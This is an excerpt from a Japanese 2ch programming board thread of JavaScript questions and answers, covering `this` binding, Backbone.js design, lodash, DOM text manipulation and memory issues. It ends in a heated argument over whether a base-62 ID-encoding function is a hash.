clickハンドラをSidebarのclickメソッドにマップしているところですが
ここのthisはSidebarではなく、定義時のthisになりますよね
そして関数ではないので、bindでthisをSidebarにする方法もないですよね
つまりどう考えてもおかしいのではないと思うのですが
何か間違っているのでしょうか? もしかしたらオブジェクト定義の中にthisを書いたらオブジェクトがthisになるのかと思って
たしかめたけどやはりそんなことはありませんでした
記述ミスですかね〜 winXPを久しぶりに起動したらwindows updateが来ていました
またXPのサポートが終わった時から
avg2014が使えなくなっていたのですが
avg2015を入れたら問題なく使えるようになりました
なんだかサポート期限なんてなかったみたいな雰囲気になってますが
ということはIE6が延命していくのでしょうか? 延命? 命を延ばすわけ無いだろ。
余命過ぎてもまだ生きてるぐらいの意味だ。 >>351
コード見てないからわからないけど、
click関数が前後のどこかにあるんじゃないの? thisは文脈で変わる
各インスタンスのメソッド内では、そのインスタンスを指すけど、
関数がグローバルスコープで呼び出されていたら、
thisはグローバルオブジェクトを指す
thisを出力して確かめて
ECMA Script 3 では、入れ子になった関数内で、thisを使うと、
グローバルオブジェクトを指すというバグがあったが、
ECMA Script 5 では、修正されるらしい greasemonkeyスクリプトなんですが、
スクロールを一定回数止めるため以下のように書きました。
var count = 1;
var scrollY;
start();
function start(){
scrollY = document.body.scrollTop;
window.addEventListener('scroll', scrollStop,false);
}
function scrollStop(){
count++;
window.scrollTo(0, scrollY);
if(count > 20) window.removeEventListener('scroll', scrollStop,false);
}
firefoxでは正常に動くのにchromeだとremoveEventListenerがうまく動きません。
chromeに対応させるにはどうしたらいいのでしょうか? >>351-352
Spine.Controller.create の中身が不明なので答えようがない 結構メモリを食うjavaプログラムをjs(+HTML)に移植しています。
メモリエラーが出る関係から、sshを使って他のスペックの高いマシンでjava実行を
していたのですが、jsを同様にスペックの高いマシンの方で実行する方法はあるのでしょうか?
Node.jsのサイトなどを見ていたのですがこれでいいのかよく分からず・・・。
スレチ、文が意味不明、だったらごめんなさい >>359
多分nodeでいいよ。
hello.js というファイル名でconsole.log('hello') って書いて
node hello.js とやるとちゃんとhelloって言ってくれる。
ただ、ブラウザで動かしているものをnodeで動かすとしたら
ちゃんとJavaScript(ECMAScript)の仕様の範囲にしておかないとダメだけどね。
ブラウザで動かすJavaScriptは、純粋なJavaScriptではなくて
DOMというブラウザ専用ライブラリが組み込まれた状態。
だからDOMを使わないコードにしておかないといけない。・・・原則的には。
NodeはNodeでその実行環境にはブラウザを超える能力があるから
ライブラリ次第でDOMも使える。
話がそれたけど、別のマシンで動かすならNodeでOK
そのコードの書き方はDOMを使わないように気をつけることだね。 >>360
周りに聞ける人がいないので本当に助かります。
DOMを使わず書けるならそれが望ましい(結果的に楽?)のですね
とりあえずnodeで良さそうなので、もう少し書籍等調べてみます。
ご丁寧にありがとうございました。 >>356
> ECMA Script 3 では、入れ子になった関数内で、thisを使うと、
> グローバルオブジェクトを指すというバグがあったが、
> ECMA Script 5 では、修正されるらしい
初耳ですが、具体的にはどのようなコードでバグが再現されるのでしょう?
ES3での該当箇所や参考URLがあれば、掲示していただけると助かります バクじゃなくて仕様だよ
ES6のアロー関数では外のthisと同じものを指すらしいけど >>363
具体的な2chのURLはどこになるでしょう?
また、バグと判断できる根拠は?
>>364
ES3では this はグローバルオブジェクトを参照する仕様ですが、ES5 でも変わってはいません
Strict Mode でのみ this は undefined を参照します
このように理解しているのですが、>>356の勘違いのような気がしてきました >>357ですが自己解決しました
あれこれ試した結果、案外単純にwindow.onscrollで一時停止と解除ができました。
結局なぜremove出来なかったのかわからずじまいでしたがお騒がせしました 子Windowで選択した要素を親Windowに追加がしたくて
子Windowで
window.opner.item = selectItem;
親Windowで
$('#itemList').append(item.cloneNode(true));
としてみたのですがIEだけappendの時にHierarchyRequestErrorと出ます
ぐぐってみると子Windowからappendするときはwindow.opnerをつけるという感じのものしか見つからず解決しませんでした
どうしたらいいのでしょうか? >>367
ウインドウが違うのに要素って移動していいのかな?
子ウインドウであればセキュリティ的には問題ないはずなんだけど
仕様的にどうなんだろう。
興味があるので詳しい人お願い 配列a(a[3000][3000]くらい)の中身を関数(js)B,C,D・・・で書き換え操作するプログラムを作っています
HTMLでファイルを読み込み、ロードが終わり次第、関数Bを呼び出し、Bが終わり次第
B内でCを呼び出し・・・としています。
これで上手くいけばいいのですが、メモリエラーになってしまいます。
BやC内でもaと同サイズの配列を新たに生成しているためメモリを食うとは思うのですが
やり方としておかしなところがあったりしますでしょうか?
GCのために使わなくなった大きな配列データはnullで初期化してるつもりなのですが・・・ >>369
>GCのために使わなくなった
それだとGCのタイミングに依存するかも
js 側の処理を中断して一度制御をブラウザ側に返す必要があるかもしれない
可能なら作業用の配列を何度も使い回す方がいいだろう >>370
GCという機能があるというのは知っていましたが
タイミングを含めて、どのように実行しているか調べていなかったので
開発者ツール?でチェックしてみようかと思います。
どちらかというと、未だによく理解できていないクロージャーの方が
問題かと思っていたのですが、そうでもなかったのですかね。
ご返答ありがとうございました。 >>369
> GCのために使わなくなった大きな配列データはnullで初期化してるつもりなのですが・・・
GCだと推測して対策ししたが効果はなかったということは、
GCは関係ないってことだよ。 >>369
どうやってHTMLでファイル読み込んでるのかしらんけど、
非同期処理の問題でしょ? >>372-374
今確認したところ非同期処理でファイルを読み込んでいるみたいでした。
同期処理のもあるみたいなのでそれで一度試してみます。
ただ、非同期のために値が取れていないという訳ではないんですよね・・・。 >>375
原因追及のために同期処理でやってみるのもいいけど
同期処理はあまりやらないほうがいいよ 残念なことですが、ここは線形合同法も知らない愚かな早漏野郎が立ててしまいました
質問者は以下のスレに移動してください
+ JavaScript の質問用スレッド vol.121 +
http://peace.2ch.net/test/read.cgi/hp/1410603104/ (function f(){f()})()
みたいな githubとかってjavascriptの勉強に使えますか?
英語読めないし、使い方がさっぱり分かりませんでした。 英語が分からなくても、JavaScriptという万国共通語があれば大丈夫 backbone.jsを勉強しています
ビューの中でモデルにハンドラをセットし、モデルの変更をビューに反映させる、
ということは分かりましたが、
マウスなどの入力をモデルに反映させるのはどこでやるんですか? ボタンを押した時の処理をどこで受けるのか的なことです viewのeventsプロパティがハンドラとしてセットされ、
viewのメソッドで受けるようです
なんとなくコントローラの役割のような気がするのですが違うのでしょうか? >>381
gitの本は、一杯あるよ
日本のサイトでも、サイト内だけだけど、MITライセンスで、
JSのソースコードを共有しているし、自由に使える。
ゲームも一杯ある
ttp://jsdo.it/ >>387の件ですが、
backboneのコントローラはURLとハッシュによって呼び出されるメソッドの集積のようですね
サーバサイドのコントローラに近いですね ie7とie8とかでjsコードを実行したい場合、ietesterを使っていたのですが、
ietesterはバグがあるから、〜を使えってこのスレで言われた気がするのですが、
何使えばいいですか? virtualboxじゃね
実機の挙動にかなうものなし 昼休みは、会社の食堂でメシ食ってるときにテレビ見てるんだけどさ、
今どきのjs(女子小学生)のファッション特集とかよくやってんだけど、
マジでJS(女子小学生)って普通にテレビで言うようになったんだな。
うかつに「休日はJS(Javascript)の勉強してます」っていうと
「JS(女子小学生)の勉強・・通報しなきゃッ!」って感じで
通報されかねないやん 別に会話中にJavaScriptをJSなんて言わないよ Backbone.jsのViewで、classNameやidというプロパティは
スカラー値にすることも関数にすることも出来、
関数だった場合は返り値を設定したことになるそうですが
これナイスな方法ですね? >>396
はい。ナイスな方法でよく使われます。
よく使われるので、汎用JavaScriptライブラリのlodashは
まさにそのための関数_.resultを用意しています。
https://lodash.com/docs#result
var object = {
'cheese': 'crumpets',
'stuff': function() {
return 'nonsense';
}
};
_.result(object, 'cheese');
// → 'crumpets'
_.result(object, 'stuff');
// → 'nonsense' ほお
lodash使ってたのに知りませんでした
ありがとうございます lodashはいい加減3.0をリリースして欲しい所。
全体のどれくらい終わったんだろうか。 qiitaに投稿した記事がやたらアクセス数が多い(3500超えた)と思ったら、
「Javascript 〜 〜」って検索すると一番上にqiitaに投稿した記事が来た
ストック6しかないのにな、業務とかでググってる人が多いのだろうか? backboneはドキュメントサイトが見にくいな
左フレームの幅が固定なのがアカン >>401
違います。特定されたかと思って焦ったじゃないか。 backbone.jsでset時にvalidateした場合、invalidな値がセットされることはありませんが
そうでない場合はsave時にvalidateされるので
invalidな値が属性に入ってくることになりますよね?
そうなるとinvalidな値を元にrenderすることになると思います
そうすると対応が面倒なので、バリデートはset時にするのが当たり前なのでしょうか? テンプレートはHTMLにtext/templateとして書く方がいいのでしょうか?
そうなるとテンプレートの断片がHTMLの中に並ぶわけで、
それならJavaScriptファイル中に書くのと分かりやすさ大差なくね?
いやむしろJavaScriptファイル中に書いた方が分かりやすくね?
って思います。
HTML自体がテンプレートのようなものなので、
テンプレートの中にテンプレートの断片を入れているような気持ち悪さがあるのです ドットインストールのbackbone.jsのレッスン見終わりました
やはり本を読んだりするより映像で学ぶのが一番効率いいと思います
もう少し詳しい学習をしたいのですが、そういうムービーどこかにないですか? >>408の件ですが
英語の動画は沢山あるのですが日本語のものはないようですね
スライドを見ればある程度は何してるのか分かりますが
それなら最初からスライドを探した方がいいかもしれません >>405
qiitaへの投稿のメリット
・自分の投稿した記事の内容を自画自賛して「オレすごすぎwww」ってなれる
・ググルト自分の記事がヒットするからいい感じになる。
・hddがあぼーんしてもqiitaに投稿した内容は消えない
qiitaのダメなとこはgood、badタグがないことだな。
JavaScriptでかっこよくthisを回避する
http://qiita.com/chick307/items/01907fd4d69be6d264e5
↑例えば、どこがかっこよくthis回避なのか不明な記事とかにbadを押したく
なるときにできないのが難点 JavaScriptを独学で勉強しようと思うのですが、一番初めに見るおすすめの参考書はどれでしょうか? observerパターンについてですが
ハンドラを解除しないままobserverの方を削除してしまったら
ハンドラが残り続けてメモリリークになるんじゃないかと思うのですが、
大丈夫なのでしょうか?
observerのデストラクタで解除するようにすればいいと思いますが
JavaScriptではデストラクタがないので、そういう方法は取れないと思います >>411
中級者以上ならオライリーのJavaScriptがいいと思うけど
初心者向けとなると逆に何がいいか分からないな qiitaにたまに芸能人の画像貼り付けてる奴がいるから通報してる >>411
My UNIXシリーズの奴は解りやすかった。 backbone.jsのために
サーバ側から送るJSONのフォーマットが良く分かりません
ドキュメントにもそれらしき項目がないようですし
ガイドブックにも何故か見当たりません
どこ見たらいいですか? >>416の件ですが、
ごく当たり前に記述する、で正解でした
fetchした直後にcollectionをlogしたら、lengthが0だったので、
JSONの記述の仕方を間違っているのかと思ったのですが
非同期で読まれるのでfetch実行直後にはまだ値が入ってないんですね backbone.jsで、モデルを新規作成してsaveした時、
サーバサイドで割り振ったidをクライアントに反映すると思うのですが
どうやるのか良く分かりません
POSTのレスポンスとしてidを返すんでしょうか・・? <div>
<div></div><div>★</div>..
</div>
★のところから自分のノードが親に対して1だという
ことはどうすればわかりますか? >>418の件ですが
普通に
{"id":100}
みたいなJSONを返せばいいだけでした
JSの癖で、キー名を""で囲まなかったのでエラーになってました 手書きというのはライブラリを、ではJSONをという意味です
まだやり方をテストしてる段階なので backboneを使うため、
lodashをunderscore buildにしたら
assignが使えなくなりました
ソースを見るとextendというエイリアスは生きているようです
別にバッティングするわけでもないのだから
assignを生かしておいても問題ないと思うのですが
なぜassignをなくしたのだと思いますか? 質問です。
<dl>
<dt>dt 1
<dd>dd 1
<dl>
<dt>dt 1-1
<dd>dd 1-1
</dl>
<dt>dt 2
<dd>dd 2
</dl>
一番外の dl 直下の dt のみを取得したいと思います。つまり、「dt 1」と「dt 2」を取得したいです。
しかし以下のコードで取得しようとすると、「dt 1-1」まで取得してしまいます。当たり前と言えば当たり前ですが。
elm.querySelectorAll("dt"); //(elmは一番外のdl要素です)
もちろん、取得した後にフィルターを掛ければいい話ですが、あまりスマートではありません。
querySelectorAll()で一発で「dt 1」と「dt 2」を取得する方法はありますか? childNodes[childNodes.length-1] >>427
dl直下のdtというのなら、dl > dtでいいんじゃないの?
querySelectorAllがどこまで対応しているかしらないけど、
ブラウザによって動きは違うかもね。
こういう場合はjQueryを使ったら、古いブラウザ含めて対応できるよ。 >>429
dt 1-1もdlの直下なのでダメだね
最上位のdlが特定できればいいんだけど
idとかついてないの? >>429
ありがとうございます。
確かにjQueryでしたら簡単に実装できますね。ライブラリの使用も視野に入れてみます。
>>430
ループ処理しているので、唯一に特定できるidなどは何もついていません…。
elmに代入されているということだけが唯一の情報です。
やはりフィルター処理しかないでしょうか。 querySelectorAllの前後でidの付け外しをするとか
(上書きのことを考えるとclassの方がいいか)
でもまあフィルタがいいと思うけど
jQueryにするんなら.filter() で結構簡単に書ける backbone.jsでは、イベントハンドラはviewに付けますが
モデルと関係ないようなイベントハンドラはどこで付ければいいんでしょう?
たとえば画面全体に対するmousemoveなど。
イベントハンドラを付けるために画面全体用のviewも作るんでしょうか?
それもなんか無駄な感じがします 普通のMVCとかだとレイアウトやヘルパー、パーシャルなオブジェクトってのがあるんだから
(ってもCakeしかやった事ねーけどw)そーいう差し込み可能なユーティリティーってのが
backbone.jsにもあるんじゃね?知らんけどw
知らんからこれ以上はひっこむわw backbone.jsに同梱しているサンプルアプリを見ると
全体を包含するDOM要素をAppViewとして
var App = new AppView;
でアプリケーション自体を起動する感じでした じゃあそれ拡張してアタッチすりゃあいいのかな?
あ、出てきちゃったw ですね
サーバサイドMVCのコントローラっぽい感じです backbone.jsのviewにeventsでイベントを設定する時
セレクタにwindowを設定することは出来ないのでしょうか?
出来ないとすると、eventsで設定したり、自前で設定したりして美しくないですよね
eventsの設計ミスとしか思えませんがどうなのでしょうか セレクタにwindowを設定するという
設計がミスなんだろ。 実際にwindowにイベントハンドラをセットする必要があるので設計ミスではありませんが?
でもevents=viewが所有するDOMに付けるイベントを管理するもの、
と考えたら別にアグリーでもないかもしれません
ありがとうございました backbone.jsにはコントローラがないので
それだとviewがやたらでかくなるのでは?
それともコントローラ的な部分は自前で用意するのか?
と悩んでいたのですがコントローラなどを用意したマリオネットっていうやつがあるようです
プレーンなbackboneではなくmarionnetteの方を使うのが今の感じなんですかね? 振分けられる処理は極力ModelやCollectionに振分けましょうって
思想みたいだけどようワカランね。
Routerは大した仕事はしなさそうだし。
サーバーサイドのMVCモデルのように間に何かが入る必要があるか?
を考えてみた方がよいのかも。 やっぱコントローラーとしての役割はRouterぐらいしか見当たらないな
サーバーMVCのView間の遷移なんてものが無いから出番もそんなに無いって事なのかも 質問です。Unix系のファイルで正規表現を書くときに
バックスラッシュを使いますが、これはWindowsで読む
とエラーになりますよね。あちらは\らしいですが、
どう回避してるのでしょうか? チェックボックスのラベルを変更するにはどうすればよいでしょうか?
jQueryは使わずにおこないたいです。
<input type="checkbox" id="chk1" name="chk" value="1">
<label for="chk1">aaa</label>
のaaaをbbbに変えたいのですが
document.getElementById("chk1").innerText="bbb";ではダメなようで。 ちなみにinnerTextはFirefoxで使えないから注意ネ 標準の textContent や data 属性を差し置いて
やたら innerText を見かけるけど何でなん? >>450
IEのサポートが9からだから。
IE8のサポート期間が2016年1月12日だから
あと1年は対応が必須。
その期間を過ぎたらすぐにIE8のサポートをうちきって
いいのか?って話はあるが。 SHIFT+ENTERのキーコードが13でENTERになっているのですが
SHIFT押しながらENTERおしたときと
単にENTERを押した時の区別って出来ますか? >>448
>>449
ありがとうございます。
idをふったらできました。
document.getElementById("chk1").nextSibling.textContent = "bbb";
のほうは、aaa → bbbaaa になってしまいました・・・
使い方が違うんでしょうね ^^; innerTextとtextContentは若干挙動が違うらしい
支障が無ければinnerHTMLを使ったほうが良いらしい >>454
引数を渡すようにすればその中に入ってるはずだ
ttp://so-zou.jp/web-app/tech/programming/javascript/event/handler/key/#no3 >>457
そのようなプロパティがあったのですね
動作も確認いたしました
どうもありがとうございます >>455
まだいるか分からないけど訂正すると
.nextSibling.textContent = "bbb"; で 「bbbaaa」 になるのは、<input>と<label>の間を改行しているせいで 改行だけのテキストノードが存在から。
つまり、<input>と<label>の間を改行しなければ .nextSibling.textContent = "bbb"; で可能
例1:<input type="checkbox" id="chk1" name="chk" value="1"><label for="chk1">aaa</label>
例2:<input type="checkbox" id="chk1" name="chk" value="1"
><label for="chk1">aaa</label>
または、HTMLを変えずに、nextElementSibling.textContent = "bbb"; でもおk >>456
>>459
ありがとうございます。
勉強になります。 Google Maps API V3を使ってカスタマイズしています。
テキストフォーム一つに検索ボタンです。
改行、Enterキーを押して実行できるようにしたいです。
form onsubmit="script()"
input type=text
input type=submit
これだと検索できません。
form
input type=text
input type=button onclick=script()
だとボタンクリックで検索ができますが、Enterキーでは検索できません。
どうしたら良いのでしょうか? >>461
form onsubmit="script();event.preventDefault()"
input type=text
input type=submit
で、どうだ var a = new Array1();
a[3].x = 1;
a[7].y = 2;
上のようにできる、プロパティの付いた配列のクラスらしきものを実現したいのですが
どのようにすればできるでしょうか?
変数のプロパティだけでいいなら
var foo = new Foo();
function Foo()
{
this.x = null;
this.y = null;
}
みたいな感じにはなると思うのですが・・・ >>464
配列の初期長を決めて、あらかじめインスタンスを必要個数分だけ作っておくのはどう?
function Foo(){
this.x = null; this.y = null;
}
function Array1(len){
for(var i=0;i<len;i++) this[i] = new Foo();
}
var a = new Array1(8); //[0]~[7]のFooのインスタンス配列
a[3].x = 1;
a[7].y = 2; >>465
システムの構成上配列が結構大きく、配列の長さが場合によって結構変化するので
初期に作る方法以外のものがもしあれば、と思ったのですが
やっぱり現実的にはそうなってしまうのでしょうかね・・・ >>466
なるほど、配列の長さが変化するのなら、>>465はオススメできないね
その条件なら、毎回正直にインスタンスを作るのが普通だろうなあ
function Foo(){
this.x = null; this.y = null;
}
var a = new Array(); //ただの配列
if(!(3 in a)) a[3] = new Foo();
a[3].x = 1;
if(!(7 in a)) a[7] = new Foo();
a[7].y = 2;
この処理は面倒だから関数化するといいかも
あるいは、配列でなくていいなら一次元的に格納するか
var a = new Object(); //ただのオブジェクト
a["3x"] = 1;
a["7y"] = 2;
あるいは、Firefox限定で構わないなら、Proxyを使うという方法もある >>467
inとかよく分かってないのでちょっとまた調べてみます。
ご丁寧に色々な案を提示して下さってありがとうございました。 >>466
疑似配列の長さ(length)の得たいなら Object.defineProperty で出来ると思う
>>468
この場合は Object#hasOwnProperty がいいかな >>469すみません気付いていませんでした
ただ、まだ疑似配列作っていろいろするほどの力も時間も今はなさそうなので
とりあえず初期に作成する方法でやってみます
一段落したら挙げてもらったものを調べてみようと思います
ありがとうございました。 10進数の連番IDをhash化したいと思い調べていたところ、
下記の関数を見つけました。
この関数は衝突なく安全に利用できますか?
理解できる方は、各処理の解説もして頂ければ助かります。。。
var shuffleTable = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61];
var create62Hash = function(id, shuffleTable) {
var asciiTable = [65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57];
var hashTable = new Array();
var i = 0;
do {
hashTable[i] = String.fromCharCode(asciiTable[shuffleTable[(Math.floor(id / Math.pow(62, i)) + i) % 62]]);
i = hashTable.length;
} while(Math.pow(62, i) <= id)
return hashTable.join("");
} 引用するなら引用元のページも欠くのが最低限コードを書いた人への礼儀だぞ >>471
ハッシュ化したいならその関数は使えません。
なぜならハッシュ化してないからです。 473
お前はまずハッシュの定義について勉強しなおしてこい 暗号学的なhashもあれば、単にデータを区別する値もhashと言うよな 何の目的に使うのか知らんが、それを読む限り、10進数を62進数にしているように見える。
若干並びを入れ替えているみたいだが。
単純すぎてパスワード保存用とかには使えないぞ。
ちゃんとしたハッシュアルゴリズムを実装すべきだと思うが。 10進数⇒62進数変換ではなかったな。
62進数に近い何かをやってる >>476
これでいーですかー?w
http://e-words.jp/w/E3838FE38383E382B7E383A5E580A4.html
> 元になるデータから一定の計算手順により求められた、【規則性のない固定長の値。】
> その性質から暗号や認証、データ構造などに応用されている。ハッシュ値を求めるための
> 計算手順のことをハッシュ関数、要約関数、メッセージダイジェスト関数などという。
>
> 【ハッシュ値は元のデータの長さによらず一定の長さとなっており】、同じデータからは必ず同じハッシュ値が得られる一方、
> 【少しでも異なるデータからはまったく異なるハッシュ値が得られる。】
> 【不可逆で情報量の欠損を含む計算過程を経るため、ハッシュ値から元のデータを復元することはできない。】
>
> また、【元のデータよりハッシュ値の方が短い場合(実用上はほとんどの場合が該当する)】、
> 複数の異なるデータから同じハッシュ値が生成される(ハッシュ値の衝突)ことになるが、
> あるデータとそのハッシュ値から、【同じハッシュ値を持つ別のデータを効率よく探索することはできない。】
よってハッシュではありません。
反論あるならどうぞ? これは最小完全ハッシュ関数だな
shuffleTableをその名の通りシャッフルすれば、shuffleTable毎に一意性のある値が算出されるんじゃね
ただ、確証は無い。衝突の有無は知らん ちなみに整数を文字列にしているので、
元のデータ量よりもハッシュ値(と称する別のもの)
の方が多くなっている。 >>480
wikipediaくらい見てくれば?反論できないのは君の方と気付くよ Wikipediaの最小完全ハッシュ関数例を見てもわかるように
最小完全ハッシュ関数は、John Smith -> 1, Lisa Smith -> 0, Sam Doe -> 3, Sandra Dee -> 2
という風に、データが小さくなっているからハッシュなんですよ?
ただの進数変換もどきは逆にデータ量が大きくなっていて
なんのためにあるのかさっぱりわかりませんw >>484
その結果はただの例だろ
自分で自分の低脳さをさらけ出してるぞ なお、create62Hash(0,shuffleTable)がA
なお、create62Hash(1,shuffleTable)がB
なお、create62Hash(2,shuffleTable)がC
とハッシュにありまじき予測可能な順番で並んでいるのは
進数変換だからいいとして
create62Hash(61,shuffleTable)が9
create62Hash(62,shuffleTable)がAC
となっており、AAじゃない所を見ると
バグってますねこれ。 >>485
反論しろよw
例が示すものは、俺が言っているとおりだと認めてるのに、
なんで俺が低能になってるんだよw shuffleTableを変更すればランダムになるというのは
間違いです。
0〜9、A-Z、a-zの文字がそれぞれ置き換わるだけで、
順番はランダムになっていません。
これもハッシュではないことの根拠の一つです。 大元はこれ、
http://workline.xii.jp/texts/oneday_url/
> やってることは進数変換と一緒で、62進で1ケタずつ値を見て、
> それをchr()で対応する文字に変換しています。
やってることは進数変換と一緒と書いてあるとおり
名前がおかしいだけの話です。
やってることが進数変換なら
進数変換(+文字単純置換)です >>487
だからお前は理解できてないって言ってるだろ
馬鹿に間違いを指摘してるわけ
けど、馬鹿にわざわざ解説して教える気はない wikipediaより
>あるデータが与えられた場合にそのデータを代表する数値を得る操作、
>または、その様な数値を得るための関数のこと。ハッシュ関数から得られた数値のことを要約値やハッシュ値または単にハッシュという。
と定義されてる
つまり、データとハッシュ値が結びつくなら固定長である必要も、元の文字より大きくなっても問題ない
単なる進数変換でも広い意味でハッシュと言える >>492
完全論破ワロタ
このスレにはwikipediaの最初の文も読めない奴がいるのか・・・ > あるデータが与えられた場合にそのデータを代表する【数値を】
数値ではないのでハッシュ変換ではありません >>494
>>471 の関数は数字を出して、それを文字に置き換えてるでしょ
そんな事もわかってないの? >>496
数字じゃなくて数値な。
数字というのは数の並び。そこに大小の順番はない。
数値というのは、大小の順番があるもの
違いぐらいわかろうぜ。 >>497
じゃあ訂正する、数値ね
それで、反論は? create62Hashは入力された引数の数値を
何の処理もせずに、単純に文字列に進数変換しているので
ハッシュ処理としては何もしていません。 499
定義の範囲内でハッシュと呼べるけど?
反論出来てない
間違いを認められないと本当の馬鹿だぞ お前の出してきた定義はことごとく論破してやったが?
もう根拠残ってねーだろ。
反論しないならレスしなくていいんだよ? >>499
定義の範囲内ではハッシュです
はい、論破 >>501
お前だけ誤りを叫んでる事にまだ気付いてないの? 反論しないならレスしなくていいんだよ?
って何回言わせるんだw 定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
何回言えばわかるニダか?
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
嘘を何回行っても真実にはなりません。 499 Name_Not_Found sage New! 2015/01/05(月) 02:04:25.06 ID:???
create62Hashは入力された引数の数値を
何の処理もせずに、単純に文字列に進数変換しているので
ハッシュ処理としては何もしていません。
↑
ハッシュと呼べます、以上
何か言いたい事ある? > ハッシュ関数 (ハッシュかんすう、hash function) あるいは要約関数とは、
> あるデータが与えられた場合にそのデータを代表する数値を得る操作、
> または、その様な数値を得るための関数のこと。
どこにも進数変換がハッシュだとは書いてないが? >>506
何も処理してないなら、ハッシュじゃないのでは?
ハッシュの根拠は何よ? >>509
なら数値を得ていないから
ハッシュではないですね。 どう見てもデータをに対する数値は得てるよな
理解してないうえに
顔真っ赤にして必死だな 悔しかったら、Wikipedia改ざんしてこいよw
数値を数字に全置換するだけで満足できるだろ?w >>511
> どう見てもデータをに対する数値は得てるよな
どこに計算によって数値は出てきてないですね。
ただ入力された数値を文字に変換しているだけです。 そもそも入力データが数値しか受け付けない時点で
ハッシュじゃないわなw
その数値も整数値しか扱えないという
(数値の最大値を超えるとバグる) >悔しかったら、Wikipedia改ざんしてこいよw
ねぇ、反論は? >>515
え? 普通ハッシュって言ったら
文字や任意のバイナリを数値に計算するものでしょう?
ファイル入力できないんですか?
そんなもの使いものにならないでしょ。 あるデータとはすべてのデータという意味ではありません
日本語も理解できないのかな? >>516
反論はしません。
だって数値を算出していないから
ハッシュじゃないもの。
はい論破w ただの基数変換をハッシュ計算だと
言い張っているアホが居るスレはここですか? こんな簡単なコードすら読めないのか・・・
テーブルのキーが数値で、その数値を文字にしてるのにね おやおや、こんな深夜にw
明日仕事じゃないの?
ニートは羨ましいですなw 523 Name_Not_Found sage New! 2015/01/05(月) 02:30:06.89 ID:???
おやおや、こんな深夜にw
明日仕事じゃないの?
ニートは羨ましいですなw
自己紹介かな? こんな簡単なコードすら読めないのか・・・
テーブルのキーが数値で、その数値を文字にしてるだけで
ただの置換でハッシュ計算は何もしてないのに ニートだからハッシュというものを理解できないのか
ハッシュを理解できないからニートなのか。
まあどっちでもいいやw >>525
その数値は同じ結果が生まれます
どう見てもハッシュです ここまで必死なのは、あの関数の作者かいな?w
ハッシュ関数ではないと言われたのが
よっぽどショックだったのか? >>528
ハッシュの定義に当てはまっていない。
反論は? つまり、定義にあるデータに対する数値を得られてるわけ
わかるかな?ん? データに対する数値を得られている?
じゃあ例えば65を入力したときの
数値はなんですか?
答えるのは簡単でしょう?
数値で答えてください。 >>530
当てはまってるね
お前さっきから間違った反論しかしてないぞ >>532
それ、とどめだろw
ぜってー答えらんないってw >>532
このレスでお前がコードを理解していないことがよくわかった 少し質問が曖昧だったかな?
データに対する数値を得られている?
じゃあ例えば65というデータを入力したときに
得られる数値はなんですか?
答えるのは簡単でしょう?
数値で答えてください。 >>536
スクリプト出てるのにそんな事もわからないの?
馬鹿すぎる 例えば、Wikipediaの例から
John Smith -> 1
Lisa Smith -> 0
Sam Doe -> 3
Sandra Dee -> 2
というようにハッシュであるならばデータに対する数値を得られているわけさ
> ハッシュ関数 (ハッシュかんすう、hash function) あるいは要約関数とは、
> あるデータが与えられた場合にそのデータを代表する数値を得る操作
なのだから、数値を得られるわけだね。
それでcreate62Hash によって
65というデータを入力したときに
得られる数値はなんですか? >>537
分かった! 数値は得られなかった!
これが答えなんだから仕方ない。
認めるしかないな。ハッシュではないと。 >>538
ただの例にしがみついて必死だな
さっきからお前の反論は間違ってばかり >>541
>>539
> >>537
> 分かった! 数値は得られなかった!
> これが答えなんだから仕方ない。
> 認めるしかないな。ハッシュではないと。 横ヤリだが、65の数値は65でしょ
それを文字に変換してる
数値連呼してる奴って馬鹿? >>541
思い込みが激しくて間違いという事に気付けない
これぞ馬鹿の典型だな >>543
文字に変換しているだけなら
ハッシュではないよ。 >>544
そんな捨て台詞はいらないからさw
説明できない人は引っ込んでいたら? そのうち+1するだけの関数でも
ハッシュ関数だって言いそうだなw >>547
いういう連呼しても、ハッシュ関数にはなりませんよ。 >>545
いや、単に文字に変換してるわけじゃないでしょ
冷静になってみ? >>548
マジいいそうで困る。
そこまで馬鹿ではないと思いたいがwww >>550
コード読めないの?単に文字に変換しているだけだよ。
文字の順番が数値の順番通りじゃないってだけ。
単一換字式暗号ともいう。 これまでの色んなレスで散々結論出てるのに
頑なにハッシュじゃないって言う奴ってなんなの?
否定されたことがよっぽど悔しいのかな? >>552
ならなんで62より大きな値が文字になってるの? いろんなレスでハッシュじゃないってさんざん結論でてる
の間違いだろw.
なんでこんなに必死なんだろ? あ、質問だからID出しておくわ
自演と思われたら嫌だからな >>544
> ならなんで62より大きな値が文字になってるの?
基数変換しているからでは?(ハッシュ計算はしてない) >>555
はたから見てもお前の負けだ、もう諦めろ >>558
あ、勝利宣言ってやつですね(笑)
よく負けた奴が言う言葉です。 >>557
基数変換を用いるハッシュ法ってあるよね?? >>558
そういうところまで
行動がセオリー通りだなw >>561
お前さんはとっくに論破されてるのにまだ気付いてないのか >>560
それはハッシュ計算をした後で基数変換をしているだけだよ。
だから、ライブラリによっては
最終的な表示をバイナリにするか文字にするか、
文字にするなら16進数にするかbase64にするか
決められるわけ。
文字にする変換(基数変換)処理の前段階が、ハッシュ計算という。 >>562
そういうどうでもいいレスするならいなくていいよ >>564
学歴低そう
理解するためにちゃんと勉強しなさい >>563
この場合、計算されたハッシュはハッシュテーブルでしょ?
やってることはハッシュ化って言えるんじゃないの? >>567
間違ってるのに反論してる気になって終了ですか? >>568
ハッシュテーブル? shuffleTable のこと?
これは、文字に変換する時に使うための
文字を入れ替えるためだけのもので
前段階のハッシュ計算(存在しないが)には使われてない。
だからコードの順番を変えて基数変換した後に
文字を入れ替えることでも同じ結果が出せる
(=ハッシュ計算で使われてない証拠) >>569
> 569 名前:Name_Not_Found[] 投稿日:2015/01/05(月) 03:03:55.33 ID:7Z1vTrX2
> シャッフルテーブルだった
> あと568は俺です
